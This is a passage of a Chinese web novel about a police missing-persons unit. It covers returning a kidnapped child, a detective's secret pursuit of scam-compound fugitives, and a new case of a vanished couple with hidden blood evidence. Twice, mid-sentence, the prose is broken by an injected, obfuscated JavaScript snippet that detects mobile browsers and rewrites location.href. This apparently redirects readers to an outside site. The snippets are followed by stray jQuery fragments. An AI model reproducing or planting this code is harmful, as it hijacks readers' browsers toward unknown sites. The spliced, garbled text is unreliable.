《踏骨寻踪》 3.03 下午晚些时候,贺临招呼黎尚单独出去。 上个案子确认了一个孩子是三年前失踪的被拐儿童。三分局的人把孩子带来了市局,他们负责把人送回到亲生父母的身边去。 贺临提前联系好了两边。 他们把孩子接上车,一路开了过去。 黎尚的任务就是陪着小孩子坐在后座,负责照看孩子。 那孩子是个六岁多的男孩,被拐走的时候只有三岁,懵懂的他完全不记得自己的家和父母在哪里。也不理解所谓的回家是什么意思。在他幼小的心灵里,反倒是觉得自己被从爸爸妈妈身边带走了。 面对着两个陌生的男人,孩子一上车就开始闹着要下车,小小的身躯在座位上不停扭动。 随后贺临就发现,自己好像带错了人,这个看似完美的新下属也有不擅长的工作。 比如:带小孩。 黎尚一上车就坐在离孩子很远的地方,他的坐姿端正,透着一股生人勿近的气场,然后冷冷地对孩子道:“别动。” 最初的一两分钟,孩子是被他的气场震住了。可小孩子毕竟是小孩子,刚安静了一会,他马上就按耐不住了,开始在座位上爬上爬下,还故意往黎尚身上拱。 他似乎是对这位冰山一般的漂亮哥哥挺有兴趣。 黎尚用手指把孩子从他的身侧推开了一点,再次警告他:“别闹,你自己玩。” 这一次,维持安静的时间比上次还要短,小孩子又开始左摇右晃地移动身体,还在叽叽喳喳地问个不停。 “哥哥哥哥,我们这是要去哪里啊?” “为什么之前的警察叔叔说是带我回家啊,可是我不是刚从家里出来吗?” 好像再不管,会影响到贺临开车。 黎尚终于又动了,他拿出手机给孩子讲道理:“如果你再吵闹,就会影响司机,造成交通危险。这一路的全部车程16分钟,现在车已经开了三分二十秒,你只需要再安静十二分半,就可以了。” 他的态度不可谓不认真,时间也算得十分严谨,可惜这招对小孩子不太有用,孩子伸出小手:“可是哥哥,好无聊啊,你陪我玩游戏吧。” 见状,黎尚叹了一口气,他看向孩子,神色认真道:“好,但是玩什么,要我来定。” 小孩子:“好啊!” 黎尚问他:“成语接龙你会吗?” “会!我玩得可好了。爸爸妈妈都说我会得成语多。” “那我来给你出题。”黎尚略微思索说出一个词,“兴高采烈。” “烈……”小孩子忽然就顿住了,整个人就像是个电脑当了机,又想是被施了定身咒,完全不动了。 黎尚享受着这难得的安静,转头看向车窗外:“你可以慢慢想。” 贺临一边开着车,一边也在跟着想答案。 他思考了一分钟,把熟悉的成语在脑子里过了一遍,随后意识到,这根本就是接不上来的吧? 黎尚就是在套路小孩子。 果然,两分钟后,小孩子就算迟钝也发现了这一点,他皱着眉头说:“不行,这个不好接,哥哥你换一个。” 黎尚转过头对孩子微微地一笑:“好。”他的薄唇轻启,又说出了一个词,“四分五裂。” 怎么又是裂?刚从坑里挣扎出来的孩子又被黎尚给推回坑里了。 在又思考了一分钟以后,他终于认输,哇地一声哭了。 黎尚神色淡然地从一旁的纸巾盒里抽出纸巾安慰他:“别哭,如果不会就回去多背成语。” 此刻,有一个小朋友的心静悄悄地裂开了。 听到黎尚说的那句话,贺临的脑海里不知怎的,浮现出一个略微冷漠的声音:“菜就多练。” 听着孩子越哭越伤心的哭声,他不得不出来救场。 贺临变魔术一般,拿出了两个棒棒糖,往后座丢了过去。 黎尚给孩子打开包装吃了一颗,甜美的滋味暂时让孩子擦了眼泪,安静了下来。 随后,贺临倒是非常轻车熟路,他没给孩子解释为什么之前家里的不是亲爸亲妈,直接告诉他:“我们都是警察哥哥,都是好人。等下带你去的地方可好玩了,有很多的新玩具,还有好吃的,新衣服。你听话,先在那边玩几天。” 终于,孩子不闹也不问了,吧唧吧唧地坐在后座上吃糖。 黎尚把另一颗糖捏在手里当做备用。 贺临从镜子里看到了这一幕,微微扬起嘴角。他开口道:“那个是给你的,我这里还有。” 黎尚微微一愣,垂眸盯着玫红色的糖纸,犹豫了半天也没打开包装,他低头拿着那枚棒棒糖,放在鼻下唇边,轻轻嗅着,看起来就像是在闻一朵玫瑰花。 贺临趁着红灯回头,他看到了这一幕,开口问:“你不爱吃糖啊?” “不……”黎尚抬头,他先否认了,随后解释道,“总觉得是小孩子吃的,平时不太常吃。” 贺临笑了:“那你尝尝,这家的棒棒糖挺好吃的。” 黎尚道:“好,我等会吃。” 他这么说着,拿着糖的手却没动,丝毫没有打开包装的意思。 那小孩子见状,眼睛里闪着星星,伸出手去抢:“哥哥不吃的话给我……” 黎尚似乎是怕手里的糖被觊觎,伸手护了一下,然后把糖放在了口袋里:“这是我的,你是小孩子,小孩子不能多吃糖。” 贺临坐在司机位听着他们的对话,不由得会心一笑。 他想,虽然这位新人不会带孩子,但是不得不说,他还挺可爱的。 . 小孩子的亲生父母家距离市局不算远,半个小时的车程就开到了。 贺临把车停好,黎尚拉着孩子下了车。 在孩子走失的三年里,这家人从未放弃过对他的寻找。 他们在大街小巷张贴寻人启事;在网上发孩子的照片;在各个寻人网上登记信息;随后又在警方的资料库里留下了孩子的DNA信息。 贺临就是通过这些线索逐渐找到了孩子的下落。 直到比对结果出来,最终尘埃落定。 这场漫长的寻亲之旅才终于迎来了曙光。 提前得到了消息,孩子的爸妈早就等在了门口,除了他们两个以外,还有一众的亲戚。他们一个个伸长了脖子翘首以待,对孩子的归来早就望眼欲穿。 看他们从车上下来,妈妈的眼眶瞬间就红了,她不顾一切地跑了过去,把孩子哭着抱在怀里,不停叫着他的小名,那声音因为激动而微微颤抖。 孩子的父亲也在一旁偷偷抹着眼泪,他的肩膀耸动着,努力克制着自己的情绪,不让自己哭得太过大声。 大人们的情绪无比激动,小孩子却还蒙着。 他清澈的眼神里满是疑惑和不安,迟疑了一会,或许是被这浓烈的亲情所感染,或许是被唤醒了残存的记忆,孩子终于伸出了稚嫩的小手,在母亲的痛哭声中,怯生生地叫了一声“妈”。 妈妈浑身颤抖着把孩子抱得更紧了,紧得像是一辈子也不想再松开。 孩子爸爸感激到了语无伦次,只会不停地对贺临重复说着谢谢,那简单的两个字仿佛包含着无尽的感激。 贺临叮嘱道:“孩子还小,让他慢慢适应,多给他买点喜欢的东西。” 黎尚在一旁站着,再感人的画面也不能动摇他完成工作的决心,他把文件递给孩子父亲:“麻烦给我们签个字。” 处理完了,他把资料收好,准备回去归档。 这个案子可以打上红标了。 贺临和父母又聊了几句,不打扰他们家人团聚,转身回程。 他看了看手机,已经快到下班时间。 “东西我带回去吧,你可以直接回家,明天再存档。”贺临问黎尚,“你现在住哪里?” 黎尚报了个小区的名字,随后又道:“租的房子,就在市局旁边。” 贺临也听说过那个小区:“那里不错,离得近,能够睡到早上八点半再起床上班。” 黎尚坐在副驾驶的位置上,低着头,似是在回味刚才亲人相认的感人一幕。 贺临笑着对他说:“这种感觉还算不错吧?” 黎尚嗯了一声,系上了安全带坐好。 贺临道:“我最初虽然选择了失踪调查科,但是我真正爱上这里,还是在我破了一个案子,把失踪者送回家以后。” 随后他又道:“我们接触的案子不像是普通的刑侦案件,结局已经注定了,只需要找到凶手。调查失踪案件,就像是打开一个盲盒,会出现各种各样的结果。” 黎尚问:“今天这样的情况多吗?“ 贺临道:“能够最终找回的情况不到五分之一吧,但是每次送人回家都很令人感动。我们寻找的那些人,可能还活着,也可能已经死了。可能结局是好的,也可能是坏的……” 贺临说话时,黎尚扭头看了看他,眼前的男人相貌英俊,鼻梁高挺。在他说这些时,冷峻坚毅的侧脸让他看起来充满了正义感,可自信飞扬的眉眼,又带着曾经的少年气。 黎尚不由得有些看愣了。 贺临迎着身侧黎尚看向他的目光,脑子里微微刺痛,那种酥酥麻麻的感觉又上来了,但是还好并不严重。 他继续,一句话脱口而出:“当带着一个人找回了自己的生命轨迹,我就觉得又是一次圆满。毕竟我们警务人员经历最严格的选拔,完成最高难度的训练,目的就是为了守护我们要守护的人。” 他的语气里,仿佛有一种哥帅吧的炫耀。 贺临平时不是常说这种话的人,冷不丁冒出这么一句,还觉得挺满意的,他抽空过去看了一眼黎尚的反应。 听到这句话,黎尚的目光却忽然变了,他略带不可思议地看着贺临,眼神里似乎有种贺临看不懂的情绪。 贺临被这眼神看得后背一紧,以为黎尚的这个反应,是没想到自己能说出这样的话。 第一次在人面前说这些,又被黎尚这样的目光一盯,贺临也不知道为什么顿时有点心虚露怯,于是摸摸鼻子故作镇定地解释道:“这话其实不是我说的,是脑袋里突然蹦出来的,应该有人跟我说过。” 黎尚的语气里带着漫不经心,像是随口一问:“能让你记这么久,应该是个很重要的人吧?” 实则他的视线并没有从贺临身上挪开,似乎专门在等这个问题的答案。 贺临以为黎尚是在笑话他记忆力不好,见他并没有揪着那几句话不放,松了一口气跟他开玩笑:“那一定是了,说不定是曾经的女朋友。我记不清了,哈哈。” 很好,将尴尬进行到底。 黎尚被这个答案噎住,想说的话上不上下不下地卡在喉咙里,只好叹了口气,眼睫低垂下来:结果勉强算对,过程全错。 . 贺临把黎尚放在了小区的门口。 黎尚回家,打开了房门的密码锁。一到了无人的地方,他的表情瞬间就变了,更自如也更冷漠。 黎尚一边换鞋一边想,今天和贺临重新接触,他没有再出现之前那种头疼出血的状况了,算是个好消息。 看来,他可以试着留在他的身边了。 今天晚上,还有很多事情需要做。 这处房子他是从网上租的,昨晚他才办完了天宁基地的手续,今天一早就赶了过来。到得太急,都没来得及整理就急匆匆地去了市局报道。 房子是一室一厅,有点空荡荡的,和他的风格挺像,简单,干净,肃静。只有最基本的家具,多余的东西一件没有。 黎尚点了份外卖,又买了点必备的东西让跑腿送过来,随后开始收拾房间。 他整理得安静无声,但却速度很快,井然有序。 九年的岁月,最后能带回来的只有一个行李箱。 他过去常年穿作战服,便服不多,衣服大部分只有黑白灰,他一件一件拿出来,整齐地挂在了柜子里。 除了压缩起来的被子枕头以及衣物,还有三样东西他也带了过来。 第一样是一个长方形的计时闹钟,就算是现在常用手机,黎尚还是保留了这个闹钟,他的时间观念极强,每天做好了规划安排,差不得一分一毫。 不过就算是上好了闹钟,他也总是会在闹钟响前五分钟把它按掉,随后准时起来。 除非是伤重或者是生病到完全爬不起来,否则绝不赖床。 第二样是一个塑料小药箱,里面有十几种药,纱布,胶带,消毒水一应俱全,被他整齐地码放在了床头柜里。 最后一样是一个沉甸甸的小盒子。 黎尚打开,上面一层是好多个冰箱贴,五颜六色的,像是小孩子的玩具。 天宁基地只有队长的公寓里配有冰箱,那地方能照到太阳,晒得很多冰箱贴褪了色。 黎尚面无表情地开始整理,他把冰箱贴一个一个贴在了厨房里的冰箱上。 被晒过的冰箱贴留下了岁月的痕迹,让人能够辨认出购买的时间长短,发白的晒了很久,几个颜色鲜艳的是近一两年的。 黎尚的记忆力很好,能够清晰记得这些冰箱贴是何时又是何地购买的。 他做其他的整理都很快,唯有面对着冰箱,神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680683|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严肃,贴得很慢。 一直折腾了半个多小时,他才终于贴完。 黎尚退后了一步,仔细看了看,随后又上前把一个冰箱贴向左移了几毫米,确认毫无问题才完成了这项工作。 上半部分的冰箱贴看起来杂乱无章,后面的几个却排队一般整整齐齐。 到过容倾宿舍的人才会知道,他是把原来那个老冰箱上的排序位置一比一还原了出来。 这是那段岁月里,为数不多的见证物了。 完成了整理工作,网上买的东西就送到了。 黎尚吃了几口饭就吃不下了,他把剩下的饭菜放回打包盒,收拾好放在了门口。 他的作息和在天宁基地时没有什么不同,一直忙到九点,准时出去夜跑。 云城的夜晚灯火阑珊,他跑的速度很快,绕着市局和小区跑了一圈。 跑步回来后,他气喘吁吁的,脸色又白了几分,连唇色都失了颜色。 黎尚没怎么在意,径直走向浴室,去洗完澡吹干了头发,换了干净的睡衣以后,开始吃药。 他熟练地打开那些瓶瓶罐罐,有的三颗,有的两颗,凑了一把五颜六色的一起吞下去,眉头都没皱一下。 最近一次伤愈后,他的体重一直在掉,身体也在肉眼可见地虚弱下去,怎么锻炼和吃药都补不回来。 但是对于几经生死的他来说,能够活着,能上班工作,维持现状就算是不错了。 全都收拾好,黎尚从待洗的衣服口袋里拿出了白天的那颗糖。 小巧的棒棒糖拿在手中,轻轻的。 他神色凝重地看了糖一会,似乎在思考着究竟应不应该吃它。 他过去吃糖的次数不多,似乎这种甜丝丝的味道,都是源自于一个人,以前总是不知道珍惜,遇到事情以后才知道,这人生的糖,是吃一颗少一颗的。 如果是容倾,大概在拿到糖的时候,就打开吃了,最多是留个糖纸。 可他不行,因为那个人把他忘记了,他只能看着这颗糖,想着那个人。 黎尚忽然就舍不得了。 他闭了眼,把糖拿到了胸口的位置处,用心跳,感受着那种甜甜的味道。 他这么安静地坐了一会,在想象里吃完了那颗糖,随后才恋恋不舍地睁开双眼,取出个防潮的密封袋,把棒棒糖收了进去,那动作小心翼翼,仿佛是在收起一件稀世珍宝。 还有时间,黎尚又把之前的那个小盒子拿了出来,冰箱贴拿出来后,盒子轻了许多,在盒子的底部是一些零碎的照片和打印出来的资料。 黎尚的表情一下子严肃了起来。 他拿着这些东西到了位于屋子中央的一间储藏间,那是房东改造过的,一间隔出来的存放杂物的暗室。 暗室不大,大概三平米左右,黎尚特别让房东提前清空了。 里面的灯光不亮,但用来看清那些资料已经足够了。 黎尚把照片用钉子按在了墙面上,然后熟练地用红线做了一副线索图。 他的手指灵活地穿梭在照片与红线之间,等红线犹如蛛网,遍布了白墙,手中的线索照片也正好用完。 黎尚仔细看着那些线索与图片,他的记忆又回到了两年前。 回顾人生,他少有败绩,可唯有这一次任务命运弄人。 清剿百合园区,那是两国联合执法的抓捕任务。 当时为了救出一名重要人员,摸清园区里的情况,他和几名警员在里面卧底了两周,看似行动一切顺利,大获全胜,可容倾知道,于他而言,其实输了。 因为他不得不把贺临留在了那里,而他也差点因此牺牲。 百合园区一共四位老板,大老板和二老板是对姓赵的兄弟。三老板和四老板则是偷渡过去的华人。 最后清点时,那些被捕的人中,就少了园区的三号四号人物,负责打手保安管理的红棍夏厌,以及负责管理园区账目的白纸扇白葬。 这两个人是在警方行动之前偷偷出逃的,与他们一同消失的,还有园区里的大量赃款。好像他们早就对警方的这次行动有所预判,所以提前做好了准备,事先逃离。 关于夏厌,警方发出了国际通缉令。 关于白葬,所知的信息却少之又少。 白葬又被那个圈子里的人叫做白老板,这个代号尤为神秘,警方只确认他是名华人,男性,入伙三年,隐藏在园区百合之中,其他信息一概不知。 除了园区里的几名老板知道他的真实身份,园区里的所有员工,线人,竟然都没有见过他。 他就像是一个幽灵。 当初几位卧底的警员和线人费尽了心思,也没搜集到关于他的多少信息。 可是这个人又是真实存在的,白老板是那个圈子里的传奇,从一名猪仔爬到了园区四把手的位置上,也让百合一跃成为当地的第一大园区。 在园区时,他每天都会在网上发号施令,管理组长,下达任务,处理园区内外的各种事务。 警方在后来查缴出来的聊天记录之中,判断这个人和各处的关系都缠绕颇深。 平时赵氏兄弟外出,他和夏厌共掌园区。 关于白老板,有限的信息里还有一条,这个人是个实打实的变态。有传闻说,他最常待的地方,就是园区的刑房,他以折磨人为乐。警方有一种猜测,除了那几位老板,其他见过白老板的人,全是死人,所以才无一人得知他的真实信息。 当时百合园区被破,警方想要进一步追查夏厌和白葬的下落。 可就在这时,M国监狱之中的赵氏兄弟还未提审就双双离奇死亡。 这条线索又断了。 时隔两年,等黎尚重伤后伤愈归队,就听说线人再次传来消息,有人发现夏厌在云城附近活动。 夏厌在这里,那很有可能白葬也在。 这么多年来,见过白葬真正面目,还活着的人,只有一个例外。 那就是贺临。 尽管已经失忆的贺临完全不记得有关白葬的任何线索,也不记得他长什么样子,但他依然可能会成为那些人的目标。 当时得到了这条消息,黎尚就知道,他必须来到这里了,那是容倾当初未完成的任务。 他得守着那个人。 最好,还能抓住那两个漏网之鱼。 . 十一点半,黎尚准时上床睡觉。 陌生的环境,又是独自一人的夜晚,床垫比基地的软一些,让他有点择床。 黎尚犹豫了一下,从床上爬起打开了衣柜的门。他把一个旧枕头抱在怀里,这才睡了。 4.01 贺临第二天来到办公室,黎尚已经来上班了。 昨天的那份资料早已完成了存档。 贺临注意到,黎尚不光给自己的桌面收拾好了,办公室的公共区域也被打扫过。 他和黎尚打了个招呼,随后就看黎尚的目光飘了过来,落在了他的桌面上。 黎尚问:“贺队,我可以帮你整理下办公桌吗?“ 办公桌属于私人领地,想要动之前最好征求主人的意见。 贺临的办公桌并不脏,但是上面的东西实在是多,很多资料和文档堆放在一起,有点杂乱无章。 贺临正好接到个四分局警员的电话,准备去接交接案卷。他在市局这边没什么私人物品,刚点了下头,黎尚就冷着脸走过来开始收拾。 他那表情并不是想拍领导的马屁,而是……有点看不下去的嫌弃。 等贺临拿着案卷回来,办公桌上已经焕然一新,上面的东西分门别类放好,干净整齐到他有点不敢认。 黎尚忙完了,接了杯清茶面无表情地在喝着。 贺临道了声谢。 黎尚回他:“不用谢。” 贺临拉开了抽屉,里面是满满一抽屉的各式糖果,够开一个糖果铺子。他从中挑了一袋子吸式果冻,扔给了黎尚:“进口的,尝尝看?” 黎尚犹豫了一下,接了过来。 贺临看他拿着果冻,没有要打开的意思,随口问他:“不喜欢吗?你要是不爱吃这边还有别的。” “不。”黎尚把果冻攥紧了,一副给了他的就别想拿走的护食表情,“喝完茶再吃。” 这也算是个正当的理由,果冻配茶,的确是个有点新奇的搭配。 贺临没太在意,开始早上的工作,过一会把一份案卷递给他:“这是第四分局今天发过来协调案件。你先拿去整理存档吧,等下人齐了我们开会。” . 九点一到,所有人拿着记录册在会议室里开会。 中间的圆桌上摆好了复印好的资料。 贺临介绍:“这个案子是四分局的协调案件,失踪者有两名,一名是位名叫唐爱莲的中年妇女。另一人是她的丈夫郭木春。夫妻两人前后失踪,已经有一段时间。” “消失的夫妻啊?这种案子可不多见。”吴韵声翻看着手中的复印资料,“妻子先失踪了两年,一直没有找到。这个月,丈夫的父亲又报了丈夫的失踪。” 黎尚配合着把几张失踪者照片贴在了白板上。 左边的是妻子的照片,右边是丈夫的照片。 妻子的照片有三张,照片中是位上了年纪的中年女人,穿着老式的长袖长裤,身材消瘦,笑容腼腆,有些不太自然。 吴韵声问:“这照片清晰度不高,以前的吧?” 程笑衣看了看案卷上的标注:“是几年前照的,丈夫只给警方提供了这些照片。” 方觉皱眉:“拿着这么老的照片让我们找人,警察又不是神仙?” 程笑衣:“她丈夫说她不喜欢拍照,这些已经是最近的了。其他的监控清晰度还不如这个。” 右边的丈夫照片倒是不少,大部分是一些和朋友喝酒时拍下来的照片还有视频截图。 贺临对黎尚道:“你把基本情况给大家说一下。” 黎尚翻开了发黄的卷宗,开口念道:“失踪者姓名:唐爱莲,性别:女,失踪时年龄:44岁,失踪时间:两年。” …… “失踪者姓名:郭木春,性别:男,失踪时年龄47岁,失踪时间:二十三天。” 一时会议室里安静,只有他读卷宗的声音。 贺临平时看手写字的时候脑子里和灌了浆糊似的,可只要听别人念出来,他的脑中就一片清明。 黎尚读得不快,吐字清晰,断句合理。 他的声音冷清而好听,没有什么起伏,能够让人把注意力专注在案情上。 贺临微闭了双目,耐心听着,仔细整理思路。 失踪的妻子名为唐爱莲。 如果她还活着,今年应该是四十六岁。 女人失踪于两年前,当时的报警人是她的丈夫郭木春。 唐爱莲所在的电子厂效益不好,四十岁的时候就拿了一笔钱退了,那几张照片还是她同事帮她照的退休纪念。 后来唐爱莲就没去工作了,偶尔做一些打扫卫生的散单。 她的身体不太好,曾经在年轻时有过一个儿子,在几个月时夭折了。后来还怀过一个,还没生下来又流产了,自此以后没再有过子女。 唐爱莲的父母已经双亡,家中只剩下一个哥哥和嫂子。 社会关系简单,没有什么亲朋好友。 在报警失踪以后,警方介入做了调查,他们追踪到唐爱莲在一个秋天的清晨离家,登上了一辆827路公交车,失踪前的最后影像是她从公交车的终点站下车,随后失去了踪迹。 身份证在家中,没有补办过,名下的所有银行卡,微信账号,手机号都再没有使用痕迹。 这个女人就像是人间蒸发了一样。 很多这类的案件,丈夫都有重大的嫌疑。 虽然他是报警人,但也不能排除贼喊抓贼的可能性。 当年,四分局曾经反复询问过郭木春,他对调查不太配合。 分局警方没有找到他和唐爱莲失踪相关的实际证据。 再说到那名丈夫。 郭木春原来是电子厂的小领导,这两年身体不好,基本也是退休状态。 他的母亲没了,只有个老爹,岁数大了,身体倒是还康健。 近期父亲报警以后,分局警方查问了他所有的可能去处,一直没有找到人。 听黎尚念完,所有人一时沉默。 线索不多,这个案子恐怕不好破。 方觉小声抱怨:“郭木春也失踪了二十多天了,这两起案件分局没有第一时间汇报给市局,拖了这么长时间,为什么又把案子扔给我们协调?” 吴韵声看破了其中的缘由,叹了一声:“八成是出现了遗产纠纷吧?” 几人很快就理清楚了。 夫妻二人共有一处房产。 唐爱莲失踪接近两年,一旦利害关系人向法院申请,就可以宣告正式失踪。 本来郭家掐着指头数着日子,准备把房子弄过来。 结果郭木春也忽然活不见人死不见尸。 这下子郭家人急了眼,郭木春的父亲想要儿子名下的房子。 唐爱莲的哥哥唐爱竹却坚称自己的妹妹还活着,认为房产是夫妻共同所有。 两家人各执一词,有所争执。 四分局调查无果,这个烫手山芋就扔了过来。 几个人看向贺临,等着他定夺。 贺临一边思考着,一边拿起了手边的笔,手指轻轻一捻,笔就在他的指间转动。转了一会,他的手又一动,把笔稳稳停住:“大家休息五分钟,等下再继续商讨。” 趁着这休息的间隙,贺临翻着案卷里的图片信息,老吴起身倒水,方觉去了洗手间,程笑衣对着笔记本开始查看视频资料,黎尚则是拿出一张白纸在上面写写画画。 五分钟以后,所有人坐回位置。 贺临问方觉:“你觉得这个案子应该怎么调查?“ 方觉道:“两份档案上的信息都挺少的,特别是丈夫的这一份。关于妻子的……这么久没有找到,很可能已经去世了。凶案案发原因大部分是情杀仇杀财杀,从资料上来看,唐爱莲没有出轨,和别人无冤无仇,家里也并不算富裕。我更倾向于意外身亡,比如溺亡,车祸等……” 贺临忽然问他:“你知道做医生的基本准则是什么?” 方觉被他问得一愣。 他们是警察,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694650|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在讨论案子,为什么忽然提到医生? 贺临开口给了答案:“永远都别信病人说什么,只相信那些检查结果。” 他指了指桌子上的案卷:“我们警察也是一样,别信这些案卷口供上写了什么,嫌疑人可能会说谎,亲友们会人云亦云,调查的警员也有可能会糊弄了事。这些卷宗是没有破案的人写的,可能根本就是一份错误的未完答案,所以你要看它,但不能信它。” 简单来说,方觉的推理,太过依赖于这些卷宗了。 方觉这孩子贺临带了一年多,工作上热情肯干,就是有两点不好,一个是心直口快,正义感太强,眼里容不得沙子;一个是悟性上差了几分,没法自己查案子,需要别人领着走。 但是人无完人,能够像方觉这样有正义感的小警察,已经是个合格的好警察了,只要慢慢培养,经验逐渐丰富,有一天说不定也能独当一面。 贺临转头问黎尚:“你觉得呢?“ 现成的案子就是最适合的考题。 破案这件事如果真的都能从书本上全部学会,那么人人就都能做神探了。 每个案子的情况不一样,千变万化,不能生搬硬套。 特别是对于这种线索较少的失踪案,能够快速找到破题思路的警员并不多。 黎尚低头看着自己纸上画出来的思路:“两起失踪案之间可能会有一定联系,现在郭木春刚刚失踪,线索会比较多,我觉得可以从他的失踪开始调查,反查到唐爱莲失踪的案子上去。由于失踪是不确定状态,具体分析,又可能有这么几种情况。” “第一种,两个人都活着,但都是失联状态;第二种,两个人都已经死亡;第三种,妻子死亡,丈夫活着;第四种,妻子活着,丈夫死亡。” 黎尚这么一说,不过是几句话,就把案子梳理分析了一遍,逻辑清晰多了。 贺临对他的答复非常满意,轻轻点头道:“思路是对的。” 黎尚道:“其他的就是纯推理了,也许这对夫妻惹到了什么人或者是事。也许是处于巧合碰到了什么意外。也许是丈夫杀掉了妻子,几年以后事情被人发现,丈夫被人报复杀害。” “你漏说了一种情况,那就是离家自杀。在失踪者之中,这种情况也占有一定的比例。还有……”贺临补充,“妻子如果死亡,丈夫可能是第一嫌疑人。同理,如果妻子没有死,只是躲藏起来,万一丈夫死亡,妻子同样会是第一嫌疑人。” 黎尚听完,认真记录。 听到这里,程笑衣抬眸,她看了黎尚一眼,又看了看贺临,随后她低头继续翻看案卷。 贺临又问其他队员:“你们还有什么思路?“ “两年了都没找到,万一唐爱莲还活着,那她有可能是在隐藏自己。”吴韵声补充,“这么长时间,她没有过消费记录,肯定有人在给她提供帮助。” 贺临点他们:“案子里还有一个点很关键,是和唐爱莲的失踪息息相关的。” 黎尚翻看了一下案卷:“827路公交车站……” “调查失踪案时,往往很难找到第一案发现场,只能追查到失踪者消失之前到过的地方。这是我们的调查重点。”贺临的神情严肃而认真,“还有,很多失踪案并不是偶然发生的,而是早有征兆,我们警方需要特别留意失踪者在失踪前的异常行为,这也是破案的关键。” 说到这里,贺临安排道:“我们现在顺着几条线往下查。第一,程笑衣从档案入手,排查过去几年内有没有情况近似的案件。第二,老吴尽快去约分局的刑警,我们四个一起去一下失踪者的住所,重新进行搜查。第三,方觉你约下郭木春的父亲还有唐爱莲的哥哥,再进行一轮家属问话。” 下午的办公室里,整个队伍都忙碌了起来。 过了一会,贺临走到黎尚的办公桌前手指点了点桌面:“走,和我去失踪者的住所看看。” 5.02 下午三点,两辆市局警用车停在了失踪者家楼下。 一位四分局的徐警官等在楼门口,一见他们下车,笑容可掬地迎了上去。 徐警官一边带着他们上楼,一边微笑递烟:“劳烦市局的几位领导过来了。这家的老婆失踪时就是我负责的,后来男人失踪,也是我带队过来看的,线索实在是太少了。” 贺临接过了烟,以前做特战对身体素质要求高,他没抽过这玩意。那时候他们队里就有个二代喜欢抽烟,偷偷抽也能被队长发现,不知道被批评过多少次。 但他最近这两年开始做刑侦,跟着老刑警和领导们就学会了。 黎尚侧目看到了他们几个交接烟的一幕,眉头微微一蹙,说了一声:“注意现场。” 贺临轻笑一声:“知道,现在不抽。” 他主动把烟放在了口袋里,其他的几人看到了这一幕也就都没点火。 屋门一打开,有一股怪味,那是数日无人打扫也没开窗的一股霉味。 徐警官开始抱怨他们分局的工作多么难做,几个人负责了好大的一片区域。 和徐警官聊完,贺临起身环视了一周。 黎尚在一旁摆弄着今天刚领来的录音笔还有执法记录仪,随后就开始跟着贺临进行记录。 贺临首先去查看了门口的鞋,郭木春的拖鞋还在,其他的几双鞋也横七竖八地摆在门口,没法判断是否少了。 屋里有些杂乱,像是已经很长时间都没有好好打扫过,冰箱里放着早就过期的食物。 两人的身份证被之前调查的警员翻到了,并排放在了茶几上,其他的还有一些银行卡,证件以及病历本,都被堆放在了一起。 卧室里,袜子随意丢弃,墙角有了蜘蛛网。 只有客厅的中心位置相对干净,没有明显的大片血迹,也没有什么打斗的痕迹。 贺临仔细看了看地面道:“客厅像是被单独打扫过,至少拖过地,就这一片。” 他用手比着,大概框定了一个范围。 这种比较懒的独居单身汉,一般一个月有上一两次大扫除就算是勤快了。 郭木春在失踪前,为什么单独扫过拖过客厅的地面? 这一点明显不太合理。 黎尚安静地站在贺临旁边,把现场情况记录下来。 贺临又转头问徐警官:“当年唐爱莲失踪的时候,你们好好搜查过这里吗?” 徐警官想了想:“问过几次话,唐爱莲的身份证在家里,随身物品都没有带走,并不像是要出远门的样子。当天郭木春有不在场证明,他坚称他老婆还活着。我们前后来回访过几次,但是因为是失踪案,不涉刑事,没有申请搜查令。” “应该搜查一下。”贺临说着起身走到了电视前,轻轻地把电视移开了一点,在下面盘根错节的线路后,露出了几个暗红色的细点。 那颜色和形状做警察久了都会熟悉。而且看那梭状形态,绝对是快速飞溅出来才会形成。 “有血啊。”吴韵声走过去蹲下身,“看颜色不是最近新留下的。” 他拉着方觉比划了一下。 从位置判断,伤者坐在地上,头部受到了打击,电视上的血点被擦去了,后方罅隙处却留下了一些痕迹。 贺临转头问黎尚:“唐爱莲的照片。” 黎尚迅速翻了出来,把照片递给他。 贺临把照片拿在手中,指给众人看:“这张照片是七月底拍的,是退休纪念照,唐爱莲的脸上丝毫不见开心。阳光明媚的午后,预计气温绝对超过三十五度,背景里的人穿的都是短袖短裤,她却是长衣长裤,扣子也系得紧紧的。” 吴韵声会意了:“她可能在遮挡什么。” “这点血迹不致命,不过这男人应该是个家暴惯犯。”贺临回身问技术人员,“鲁米诺带了吗?” “带了。”技侦非常配合,马上从包里取出几瓶喷剂。随队的还有一名实习法医,可以跟着提取血迹回头进行化验。 贺临道:“把客厅和卧室仔细查一遍。” 黎尚第一次见到这种阵仗,他也戴上口罩,拿了一瓶。 贺临耐心地告诉他这东西的使用方法,又告诉他要喷洒哪些地方更容易找到血迹:“家暴多发生在客厅和卧室里,还有,各个房间的门口一定要仔细检查。” 方觉作为旁听生,好奇地问:“贺队,为什么要重点检查门口?” 贺临解释道:“因为妻子作为弱势方,在挨打后,第一反应就是想要逃离,门口更容易留下血迹和痕迹。” 等鲁米诺显色,整个房子里到处都是成片的血液反应。 黎尚低头凝望着地上的一大滩痕迹,那痕迹位于卧室的门口,明显像是滴落下来的,一直绵延到了大门口。 